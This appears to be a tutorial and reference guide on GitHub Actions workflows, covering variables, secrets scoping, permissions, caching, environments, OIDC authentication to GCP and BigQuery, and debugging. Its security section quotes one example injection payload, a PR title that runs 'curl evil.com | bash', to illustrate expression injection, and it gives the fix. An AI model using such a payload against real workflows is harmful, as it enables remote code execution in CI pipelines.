temp: /home/runner/work/_temp
 
=== env context ===
WORKFLOW_VAR: workflow-level-value
JOB_VAR: job-level-value
STEP_VAR: step-level-value
 
=== steps context ===
produce.outputs.value: hello-from-step
 
=== needs context ===
show-contexts.outputs.job_result: hello-from-step
show-contexts.result: success

How variables and outputs move data through a run

variables | env levels (workflow, job, step)

Environment variables cascade from workflow → job → step, with narrower scopes overriding broader ones.

env:
  LEVEL: "workflow"      # Available to all jobs and steps
 
jobs:
  demo:
    env:
      LEVEL: "job"       # Overrides workflow-level for this job
    steps:
      - env:
          LEVEL: "step"  # Overrides job-level for this step
        run: echo "$LEVEL"  # Prints: step

variables | GITHUB_OUTPUT

Use this pattern when passing computed values from one step to another, or from a job to downstream jobs. The operational goal is to replace the deprecated ::set-output workflow command.

- name: Set version
  id: set_version
  run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"
 
- name: Use version
  run: echo "Version is ${{ steps.set_version.outputs.version }}"

Workflow run output showing GITHUB_OUTPUT and GITHUB_ENV data flow:

Wrote version=1.2.3 to GITHUB_OUTPUT
Wrote ts=20260412-172939 to GITHUB_OUTPUT
Wrote BUILD_TAG to GITHUB_ENV
BUILD_TAG from GITHUB_ENV: build-20260412
 
=== Data received from producer job ===
Version: 1.2.3
Timestamp: 20260412-172939
Producer result: success
 
Key point: GITHUB_ENV does NOT cross job boundaries.
Only values declared in jobs.<id>.outputs and written
to GITHUB_OUTPUT are available via needs.<id>.outputs.

variables | GITHUB_STEP_SUMMARY

Use this pattern when generating human-readable reports (test results, build metrics, deployment status) visible on the workflow run page. The operational goal is to write GitHub-flavored markdown to the job summary section.

- name: Write summary
  run: |
    echo "## Build Report" >> "$GITHUB_STEP_SUMMARY"
    echo "| Metric | Value |" >> "$GITHUB_STEP_SUMMARY"
    echo "|--------|-------|" >> "$GITHUB_STEP_SUMMARY"
    echo "| Run | #${{ github.run_number }} |" >> "$GITHUB_STEP_SUMMARY"
    echo "| Status | :white_check_mark: Passed |" >> "$GITHUB_STEP_SUMMARY"

Maximum size: 1 MiB per step, 1 MiB total per job. Multiple steps can append to the same summary.

variables | default environment variables

VariableValue
GITHUB_REPOSITORYowner/repo
GITHUB_SHAFull commit SHA
GITHUB_REFrefs/heads/branch or refs/tags/tag
GITHUB_REF_NAMEBranch or tag name without refs/ prefix
GITHUB_WORKSPACECheckout directory path
GITHUB_RUN_IDUnique numeric run identifier
GITHUB_RUN_NUMBERSequential run counter for the workflow
GITHUB_RUN_ATTEMPTRe-run attempt number (starts at 1)
GITHUB_ACTORUsername that triggered the run
GITHUB_EVENT_NAMEEvent that triggered the run
RUNNER_OSLinux, Windows, or macOS
RUNNER_ARCHX64, ARM, or ARM64

How secrets and permissions should be scoped

secrets | types and scoping

ScopeSet viaPrecedenceUse case
RepositorySettings → Secrets → ActionsBase levelRepo-specific credentials
EnvironmentSettings → Environments → SecretsOverrides repoPer-environment credentials (staging vs production)
OrganizationOrg Settings → SecretsLowest (overridden by repo/env)Shared credentials across repos

Secrets are encrypted at rest and masked in logs. They are not available to fork PRs (with pull_request trigger) unless the repo admin explicitly enables it.

secrets | accessing secrets safely

steps:
  - name: Use a secret safely
    env:
      DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
    run: |
      echo "Connecting to database..."
      psql "postgresql://user:${DB_PASSWORD}@host/db"

Secrets should enter commands through controlled bindings, not YAML interpolation

Template expansion happens before the shell starts, which makes secret-bearing command lines easier to leak in logs, debug output, and process listings.

Never interpolate secrets directly in shell commands

# DANGEROUS — secrets in command line are visible in process listings
run: curl -H "Authorization: Bearer ${{ secrets.TOKEN }}" https://api.example.com

Pass secrets through environment variables

env:
  TOKEN: ${{ secrets.TOKEN }}
run: curl -H "Authorization: Bearer $TOKEN" https://api.example.com

secrets | GITHUB_TOKEN

The GITHUB_TOKEN is automatically created for each workflow run. It authenticates API calls to the GitHub API for the repository.

permissions | permissions block

Declare explicit permissions in every workflow. The goal is to scope GITHUB_TOKEN to only the capabilities the workflow actually needs instead of inheriting a broader default token surface.

permissions:
  contents: read       # Read repo contents (checkout)
  pull-requests: write # Comment on PRs
  id-token: write      # Request OIDC token for cloud auth

When you set permissions: at the workflow or job level, all unspecified scopes default to none. This is the desired behavior — it enforces least privilege.

ScopeReadWriteCommon use case
contentsCheckout codePush commits, create releasesMost workflows
pull-requestsRead PR dataComment, label, approveCI status reporting
issuesRead issuesCreate, comment, labelAutomation bots
id-tokenRequest OIDC JWTCloud authentication (GCP, AWS, Azure)
packagesPull packagesPush packagesContainer registry
actionsRead workflow dataCancel/re-run workflowsOrchestration
deploymentsRead deploymentsCreate deploymentsCD pipelines
statusesRead commit statusesCreate commit statusesExternal CI integration
security-eventsRead alertsUpload SARIFCodeQL, dependency scanning

Token scope should be declared, not inherited

GITHUB_TOKEN is part of the workflow attack surface. Least privilege only exists if the workflow states it explicitly.

Implicit permissions are over-broad

Without a permissions: block, GITHUB_TOKEN receives the repository’s default permissions. In private repos that can mean read/write access across many scopes. A compromised action could push code, delete branches, or modify issues.

Set explicit permissions on every workflow

Add permissions: at the workflow level. Start with contents: read and add only what the workflow actually needs. Re-review permissions whenever adding new actions.

When to use artifacts and when to use caching

artifacts | upload and download

Use this pattern when passing build outputs between jobs, storing test reports, retaining deployment manifests.

Upload and download artifacts between jobs.

name: "Demo: Artifacts"
on:
  push:
    branches: [main]
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Generate build artifacts
        run: |
          mkdir -p dist reports
          echo '{"version": "1.0.0", "build": "${{ github.run_number }}"}' > dist/manifest.json
          echo "SELECT COUNT(*) FROM orders;" > dist/validation_query.sql
          echo "Test results: 42 passed, 0 failed" > reports/test-results.txt
          echo "Coverage: 87.3%" > reports/coverage.txt
 
      - name: Upload build artifacts
        uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/
          retention-days: 5
 
      - name: Upload test reports
        uses: actions/upload-artifact@v4
        with:
          name: test-reports
          path: reports/
          retention-days: 30
 
  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - name: Download build artifacts
        uses: actions/download-artifact@v4
        with:
          name: build-output
          path: ./downloaded-build
 
      - name: Verify downloaded artifacts
        run: |
          ls -la downloaded-build/
          cat downloaded-build/manifest.json

Workflow run output (run #1, triggered by push to main):

Generated artifacts in dist/ and reports/
Artifact build-output.zip successfully finalized. Artifact ID 6394260342
Artifact test-reports.zip successfully finalized. Artifact ID 6394260393
 
=== Downloaded artifacts ===
manifest.json    validation_query.sql
 
Manifest contents:
{"version": "1.0.0", "build": "1"}
KeyDefaultDescription
nameArtifact name (must be unique within the run)
pathFile/directory to upload (glob patterns supported)
retention-days90Days to retain the artifact (max: 400)
if-no-files-foundwarnBehavior when no files match: warn, error, ignore
compression-level6zlib compression level (0=none, 9=max)
overwritefalseWhether to overwrite an existing artifact with the same name

caching | actions/cache

Use this pattern when avoiding repeated downloads of dependencies (pip, npm, Docker layers) across runs. The operational goal is to store and restore a directory tree keyed by a hash of a lockfile.

Cache pip packages keyed by requirements.txt hash.

name: "Demo: Caching"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-cache.yml"
      - "requirements.txt"
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  cache-demo:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
 
      - name: Cache pip packages
        id: pip-cache
        uses: actions/cache@v4
        with:
          path: ~/.cache/pip
          key: pip-${{ runner.os }}-${{ hashFiles('requirements.txt') }}
          restore-keys: |
            pip-${{ runner.os }}-
 
      - name: Show cache result
        run: |
          echo "Cache hit: ${{ steps.pip-cache.outputs.cache-hit }}"
 
      - name: Install dependencies
        run: pip install -r requirements.txt

Workflow run output (run #1 — first run, cache miss):

Cache not found for input keys:
  pip-Linux-be654b93dbe1ff76cb7cbd515b434dad18ea380de7eb66ca7ef0e5d690cbce5c,
  pip-Linux-
 
=== Cache result ===
Cache hit:
Cache miss — packages will be downloaded and cached after the job.
 
Post job cleanup:
Cache saved with key: pip-Linux-be654b93dbe1ff76cb7cbd515b434dad18ea380de7eb66ca7ef0e5d690cbce5c
KeyDefaultDescription
pathDirectory to cache (e.g., ~/.cache/pip, node_modules)
keyExact cache key — typically includes hashFiles() of a lockfile
restore-keysFallback key prefixes for partial cache matches
save-alwaysfalseSave the cache even if the job fails
lookup-onlyfalseCheck for cache existence without restoring

Caches trade speed for trust and freshness

A cache hit is only beneficial when the contents still match the dependency state and can be trusted as an input to the build.

Stale or poisoned caches can spread bad state across runs

Caches are scoped to the branch and its ancestors. A poisoned cache on main can affect many branches, and stale entries persist until eviction or key invalidation.

Use defensive caching patterns

  • Include hashFiles() of the lockfile in the key so dependency changes invalidate the cache.
  • Use restore-keys only as controlled fallbacks, not as a substitute for exact invalidation.
  • Pin actions/cache to a full SHA so the cache mechanism itself is not a mutable dependency.

How concurrency rules control overlapping runs

concurrency | cancel-in-progress

Use concurrency cancellation when a newer push makes the current in-progress run obsolete and there is no value in finishing the older run.

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

This creates a concurrency group per workflow + branch. If a new run starts in the same group, the previous run is cancelled.

Workflow run output (run #1, no cancellation — single push):

=== Concurrency demo ===
Concurrency group: demo-refs/heads/main
cancel-in-progress: true
 
If another push happens to this branch while this run is active,
this run will be cancelled and replaced by the new one.
 
Simulating a 30-second deployment...
Deploy step 1/6...
Deploy step 2/6...
Deploy step 3/6...
Deploy step 4/6...
Deploy step 5/6...
Deploy step 6/6...
Deployment simulation complete.

concurrency | serialization

For deployments, use concurrency without cancel-in-progress to serialize runs (queue instead of cancel):

concurrency:
  group: deploy-production
  cancel-in-progress: false

How environments gate sensitive deployments

environments | protection rules

Use this pattern when gating deployments behind human approval, wait timers, or branch restrictions. The operational goal is to prevent accidental production deployments and enforce deployment policies.

Deploy through staging (no protection) and production (required reviewer).

name: "Demo: Environments"
on:
  push:
    branches: [main]
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment:
      name: staging
      url: https://staging.example.com
    steps:
      - name: Deploy to staging
        run: |
          echo "Environment: staging"
          echo "No protection rules — deploys immediately."
          echo "DEMO_REGION: ${{ vars.DEMO_REGION }}"
 
  deploy-production:
    needs: deploy-staging
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://production.example.com
    steps:
      - name: Deploy to production
        run: |
          echo "Environment: production"
          echo "This environment has required reviewers."

Workflow run output (run #1 — staging deployed immediately, production waited for approval):

=== Deploying to staging ===
Environment: staging
No protection rules — deploys immediately.
DEMO_REGION: europe-west1
Evaluated environment url: https://staging.example.com
 
=== Deploying to production ===
Environment: production
This environment has required reviewers.
The workflow paused until an authorized reviewer approved.
Evaluated environment url: https://production.example.com

Set up environments via GitHub API

Create the staging environment (no protection).

gh api repos/alp78/git-lab/environments/staging -X PUT --input - <<'EOF'
{}
EOF

Create the production environment with required reviewer.

gh api repos/alp78/git-lab/environments/production -X PUT --input - <<'EOF'
{
  "reviewers": [
    {
      "type": "User",
      "id": 37634801
    }
  ]
}
EOF

Set an environment-level variable.

gh variable set DEMO_REGION -R alp78/git-lab --env staging --body "europe-west1"
Protection ruleDescription
Required reviewersUp to 6 users/teams must approve before the job runs
Wait timerDelay in minutes before the job starts after approval
Deployment branchesRestrict which branches can deploy to the environment
Custom rulesGitHub App-based custom deployment protection rules

Which security rules prevent common workflow compromise

security | pinning actions to SHA

Action references are part of the workflow supply chain

Every uses: line is code execution. Treat action references like production dependencies, not like casual version labels.

Mutable tags are a supply-chain risk

uses: actions/checkout@v4 resolves to whatever commit v4 currently points to. If the action maintainer’s account is compromised, v4 can be repointed to malicious code. This has happened in real attacks.

Pin actions to a full commit SHA

- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5  # v4.2.2

The SHA is immutable. Add the version as a comment for readability and use automation such as Dependabot or Renovate to keep pins current.

security | fork PR trust boundaries

TriggerCode sourceSecrets available?Write permissions?
pull_request (same repo)Merge commitYesPer permissions:
pull_request (fork)Merge commitNoNo
pull_request_targetBase branchYesYes
workflow_runDefault branchYesYes

security | expression injection

Untrusted event data becomes executable if you template it into shell syntax

Pull request titles, comments, branch names, and similar event fields should be treated as attacker-controlled input whenever they come from external actors.

Interpolating untrusted values in shell commands is command injection

# DANGEROUS — PR title could contain: '; curl evil.com | bash; echo '
run: echo "PR title: ${{ github.event.pull_request.title }}"

The expression is substituted before bash runs, so shell metacharacters in the PR title execute as commands.

Pass untrusted data through environment variables

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"

$PR_TITLE is treated as a single shell value instead of being parsed as code injected into the command template.

security | OIDC fundamentals

What problem OIDC solves: Traditional cloud authentication requires storing long-lived service account keys as GitHub secrets. If a secret leaks (in logs, to a fork, via a compromised action), the attacker has permanent access until the key is rotated.

How OIDC works:

  1. The workflow requests an OIDC token from GitHub (id-token: write permission).
  2. GitHub mints a short-lived JWT containing claims about the workflow (repo, branch, actor, environment).
  3. The cloud provider (GCP, AWS, Azure) validates the JWT against its trust policy and issues a short-lived access token.
  4. No long-lived secrets are stored anywhere.

Set up OIDC between GitHub and GCP

Create a Workload Identity Pool and OIDC provider in GCP.

# Create the Workload Identity Pool
gcloud iam workload-identity-pools create "github-actions" \
  --project="bq-wh-nb" \
  --location="global" \
  --display-name="GitHub Actions"
Created workload identity pool [github-actions].

Create the OIDC provider with attribute mapping and owner condition.

gcloud iam workload-identity-pools providers create-oidc "github" \
  --project="bq-wh-nb" \
  --location="global" \
  --workload-identity-pool="github-actions" \
  --display-name="GitHub" \
  --attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.repository=assertion.repository,attribute.repository_owner=assertion.repository_owner" \
  --attribute-condition="assertion.repository_owner == 'alp78'" \
  --issuer-uri="https://token.actions.githubusercontent.com"
Created workload identity pool provider [github].

Create a dedicated service account and bind it to the WIF pool.

# Create service account
gcloud iam service-accounts create github-actions-sa \
  --project=bq-wh-nb \
  --display-name="GitHub Actions (git-lab)"
 
# Grant BigQuery read permissions
gcloud projects add-iam-policy-binding bq-wh-nb \
  --member="serviceAccount:github-actions-sa@bq-wh-nb.iam.gserviceaccount.com" \
  --role="roles/bigquery.dataViewer"
 
gcloud projects add-iam-policy-binding bq-wh-nb \
  --member="serviceAccount:github-actions-sa@bq-wh-nb.iam.gserviceaccount.com" \
  --role="roles/bigquery.jobUser"
 
# Allow WIF pool to impersonate the SA (restricted to alp78/git-lab)
gcloud iam service-accounts add-iam-policy-binding \
  github-actions-sa@bq-wh-nb.iam.gserviceaccount.com \
  --project=bq-wh-nb \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/348557092514/locations/global/workloadIdentityPools/github-actions/attribute.repository/alp78/git-lab"

Enable required GCP APIs.

gcloud services enable iamcredentials.googleapis.com --project=bq-wh-nb
gcloud services enable sts.googleapis.com --project=bq-wh-nb

Store the WIF provider and SA email as GitHub secrets.

gh secret set GCP_WORKLOAD_IDENTITY_PROVIDER -R alp78/git-lab \
  --body "projects/348557092514/locations/global/workloadIdentityPools/github-actions/providers/github"
 
gh secret set GCP_SERVICE_ACCOUNT -R alp78/git-lab \
  --body "github-actions-sa@bq-wh-nb.iam.gserviceaccount.com"
 
gh secret set GCP_PROJECT_ID -R alp78/git-lab \
  --body "bq-wh-nb"

OIDC workflow — authenticate to GCP and run BigQuery queries.

name: "Demo: OIDC GCP Authentication"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-oidc-gcp.yml"
  workflow_dispatch:
 
permissions:
  contents: read
  id-token: write
 
jobs:
  gcp-auth:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
 
      - name: Authenticate to GCP via OIDC
        id: auth
        uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }}
          service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }}
 
      - name: Set up gcloud CLI
        uses: google-github-actions/setup-gcloud@v2
 
      - name: Verify authentication
        run: |
          echo "Project: $(gcloud config get-value project)"
          echo "Account: $(gcloud auth list --filter=status:ACTIVE --format='value(account)')"
 
      - name: BigQuery dry-run validation
        run: |
          bq query \
            --use_legacy_sql=false \
            --dry_run \
            'SELECT table_id, row_count, size_bytes
             FROM `bq-wh-nb.stoxx_bronze.__TABLES__`
             LIMIT 10'
 
      - name: BigQuery actual query
        run: |
          bq query \
            --use_legacy_sql=false \
            --format=prettyjson \
            --max_rows=5 \
            'SELECT
               table_id,
               row_count,
               ROUND(size_bytes / 1024 / 1024, 2) AS size_mb
             FROM `bq-wh-nb.stoxx_bronze.__TABLES__`
             ORDER BY row_count DESC
             LIMIT 5'

Workflow run output (run #3, triggered by workflow_dispatch):

=== OIDC Authentication ===
Project: bq-wh-nb
Account: ***
 
OIDC means no long-lived service account keys.
GitHub mints a short-lived JWT, GCP exchanges it for a token.
 
=== BigQuery dry-run ===
Running a dry-run query to validate SQL without cost...
Query successfully validated. Assuming the tables are not modified,
running this query will process 0 bytes of data.
 
=== BigQuery live query ===
Waiting on bqjob_r5215c3ef6e9cbc1a_0000019d82c3a3be_1 ... (0s) Current status: DONE
[
  {"row_count": "29335", "size_mb": "1.73", "table_id": "trading_calendar"},
  {"row_count": "212",   "size_mb": "0.0",  "table_id": "dim_country"},
  {"row_count": "169",   "size_mb": "0.03", "table_id": "signals_daily"},
  {"row_count": "169",   "size_mb": "0.03", "table_id": "signals_quarterly"},
  {"row_count": "169",   "size_mb": "0.27", "table_id": "index_dim"}
]

How reusable building blocks in the Actions ecosystem differ

actions | reusable workflows vs composite vs JS/Docker

TypeDefined inCaller syntaxRuns onInputsCan access secrets?
Reusable workflow.github/workflows/*.yml with on: workflow_calljobs.<id>.uses:Separate runner (new VM)with: + secrets:Yes (must be passed)
Composite actionaction.yml with runs.using: compositesteps[].uses:Same runner as callerwith:Yes (via env)
JavaScript actionaction.yml with runs.using: node20steps[].uses:Same runner as callerwith:Yes (via env)
Docker actionaction.yml with runs.using: dockersteps[].uses:Same runner (container)with:Yes (via env)

Use a reusable workflow when whole job graphs or pipeline templates must be shared across repositories or standardized across teams. Use a composite action when you need to reuse a fixed sequence of same-runner steps such as setup, build, or test orchestration. Use a JavaScript or Docker action when the logic needs its own packaged runtime, dependencies, or container image.

actions | action.yml metadata basics

Every action has an action.yml (or action.yaml) that declares its inputs, outputs, and execution method.

# action.yml (composite action example)
name: "Setup Python Project"
description: "Install Python, restore cache, install dependencies"
inputs:
  python-version:
    description: "Python version"
    required: false
    default: "3.12"
runs:
  using: composite
  steps:
    - uses: actions/setup-python@v5
      with:
        python-version: ${{ inputs.python-version }}
    - shell: bash
      run: pip install -r requirements.txt

How to inspect runs, logs, and runtime context

debugging | reading logs

Workflow run logs are available via the GitHub UI (Actions tab) and the CLI. Step-level logs are grouped and expandable.

# List recent runs
gh run list -R alp78/git-lab --limit 10
 
# View a specific run summary
gh run view 24312297713 -R alp78/git-lab
 
# View full step-level logs
gh run view 24312297713 -R alp78/git-lab --log
 
# View a specific job's logs
gh run view --job=70983934563 -R alp78/git-lab --log

debugging | enabling debug logging

Method 1 — Re-run with debug: In the GitHub UI, click “Re-run jobs” and check “Enable debug logging.” This sets ACTIONS_RUNNER_DEBUG=true and ACTIONS_STEP_DEBUG=true.

Method 2 — Repository secret: Set a secret named ACTIONS_STEP_DEBUG with value true. This enables debug logging for all runs.

debugging | workflow commands and annotations

- name: Annotations and grouping
  run: |
    echo "::notice::This is a notice annotation"
    echo "::warning::This is a warning annotation"
    echo "::error::This is an error annotation"
    echo "::group::Grouped output section"
    echo "Line 1 inside group"
    echo "Line 2 inside group"
    echo "::endgroup::"

Annotations appear as decorations on the workflow run summary and in PR checks.

debugging | inspecting contexts safely

- name: Dump runner context
  run: echo '${{ toJSON(runner) }}'
{
  "os": "Linux",
  "arch": "X64",
  "name": "GitHub Actions 1000000635",
  "environment": "github-hosted",
  "tool_cache": "/opt/hostedtoolcache",
  "temp": "/home/runner/work/_temp",
  "workspace": "/home/runner/work/git-lab"
}

Debug dumps must respect context sensitivity

Context inspection is useful for debugging, but some contexts reveal more than values alone. Even secret names can disclose infrastructure details and attack surface.

Never dump the secrets context

echo '${{ toJSON(secrets) }}' logs all secret names. Values are masked, but the keys still leak sensitive operational information.

Dump only non-sensitive contexts

Safe to dump: github, runner, env, vars, matrix, inputs, needs, steps. Never dump: secrets.

debugging | local testing with act

act runs GitHub Actions workflows locally using Docker. It is useful for rapid iteration but has significant limitations:

FeatureactReal GitHub
Service containersLimitedFull support
OIDC tokensNot availableAvailable
SecretsFrom .secrets fileEncrypted in GitHub
GITHUB_TOKENPersonal access tokenAuto-generated
Runner imagesSimplified Docker imagesFull VM images
CachingNot supportedactions/cache works
workflow_runNot supportedWorks

Use act for quick syntax checks and basic step validation. Always validate critical workflows on real GitHub-hosted runners.

How the core patterns apply to data-engineering workflows

data-engineering | BigQuery OIDC auth

The OIDC workflow in the Security Fundamentals section demonstrates end-to-end GCP authentication from GitHub Actions, including BigQuery dry-run validation and live queries against the stoxx_bronze dataset. This is the preferred pattern for all data-engineering workflows that interact with GCP — no long-lived service account keys needed.

data-engineering | service containers for databases

The service container demo in the Jobs section shows how to run PostgreSQL as a sidecar for integration testing. This pattern applies directly to data-engineering scenarios:

  • Migration testing: Run schema migrations against a real database, verify with pg_isready health checks
  • SQL validation: Execute validation queries against test data to catch errors before deploying to production
  • Pipeline testing: Run pipeline code that inserts and queries data, verifying end-to-end correctness

data-engineering | artifact patterns

Common data-engineering artifacts:

Artifact typeUpload fromDownload inRetention
Test reportsCI jobDeploy job (gatekeeping)30 days
dbt manifestdbt compile jobDocumentation job5 days
SQL migration planplan jobapply job (approval gate)5 days
Coverage reportsTest jobSummary/reporting30 days
Cost estimationBQ dry-run jobPR comment job5 days

Common failures and the fixes they require

SymptomCauseFix
Workflow not triggeredPath filter excludes all changed filesCheck paths: filter matches your changes
pull_request skipped on fork PRFork PRs have limited permissionsUse pull_request_target for trusted operations only
Secrets empty in fork PRSecurity: secrets not exposed to forksPass non-sensitive config via vars instead
GITHUB_TOKEN 403 errorMissing permission scopeAdd the required scope to permissions: block
Cache miss every runKey includes a value that changes each run (e.g., timestamp)Use hashFiles() of a lockfile for stable keys
Cache not shared across branchesCache scoped to branch + ancestorsCreate base cache on main first
Service container not readyHealth check failing or missingAdd --health-cmd, --health-interval, --health-retries options
continue-on-error hiding failuresJob-level flag masks real errorsUse step-level continue-on-error with explicit outcome checks
Matrix generates wrong combinationsinclude/exclude logic is order-dependentUse exclude for removing; include adds or extends
Schedule workflow disabledRepo inactive for 60+ daysPush any commit to re-enable; add workflow_dispatch as backup trigger
Expression injection vulnerabilityUntrusted values in ${{ }} interpolated into run:Pass untrusted values through env: instead
OIDC authentication failsIAM Credentials API not enabled or SA binding missingEnable iamcredentials.googleapis.com and check WIF pool binding
workflow_run not triggeredWatched workflow name doesn’t match exactlyUse the exact name: string from the triggering workflow
Concurrency cancels wanted runscancel-in-progress: true on a shared groupUse more specific group names (include branch, PR number, or environment)
Reusable workflow fails to find caller secretsSecrets not passed via secrets: keyExplicitly pass each secret or use secrets: inherit

Operating rules that should be standard in every workflow

  1. Always set permissions: — every workflow should declare explicit, least-privilege permissions.
  2. Pin actions to full SHA — never use mutable tags for third-party actions in production workflows.
  3. Set timeout-minutes: — every job should have an explicit timeout. The default (360 min) wastes runner time on stuck jobs.
  4. Use concurrency: on CI workflows — cancel in-progress runs on the same branch to avoid wasted compute.
  5. Pass secrets through env: — never interpolate ${{ secrets.* }} directly in run: commands.
  6. Use OIDC for cloud auth — prefer Workload Identity Federation over stored service account keys.
  7. Test scheduled workflows manually — always add workflow_dispatch alongside schedule triggers.
  8. Check continue-on-error carefully — use step-level, not job-level. Always check outcome in subsequent steps.
  9. Validate fork PR trust boundaries — understand which triggers expose secrets and which don’t.
  10. Keep workflow files small and focused — prefer reusable workflows and composite actions over monolithic YAML files.

Key syntax and commands at a glance

TaskYAML/Command
Trigger on push to mainon: push: branches: [main]
Trigger on PRon: pull_request: branches: [main]
Manual triggeron: workflow_dispatch:
Schedule (hourly)on: schedule: - cron: "0 * * * *"
Set permissionspermissions: contents: read
Use an actionuses: actions/checkout@v4
Run a shell commandrun: echo "hello"
Set step outputecho "key=value" >> "$GITHUB_OUTPUT"
Set dynamic env varecho "KEY=value" >> "$GITHUB_ENV"
Write job summaryecho "# Title" >> "$GITHUB_STEP_SUMMARY"
Access secret${{ secrets.MY_SECRET }}
Access config var${{ vars.MY_VAR }}
Access step output${{ steps.<id>.outputs.<key> }}
Access job output${{ needs.<job>.outputs.<key> }}
Matrix strategystrategy: matrix: python: ["3.11", "3.12"]
Job dependencyneeds: [lint, test]
Conditional stepif: ${{ github.ref == 'refs/heads/main' }}
Continue on errorcontinue-on-error: true
Job timeouttimeout-minutes: 10
Concurrency cancelconcurrency: group: ${{ github.ref }} + cancel-in-progress: true
Upload artifactuses: actions/upload-artifact@v4 + with: name: + path:
Download artifactuses: actions/download-artifact@v4 + with: name:
Cache dependenciesuses: actions/cache@v4 + with: path: + key:
Service containerservices: postgres: image: postgres:16
Environment gateenvironment: name: production
Reusable workflowjobs.<id>.uses: ./.github/workflows/<file>@<ref>
OIDC auth (GCP)uses: google-github-actions/auth@v2 + id-token: write
Debug annotationecho "::warning::message"
List runs (CLI)gh run list -R owner/repo
View run logs (CLI)gh run view <id> --log
Trigger dispatch (CLI)gh workflow run <name> -f key=value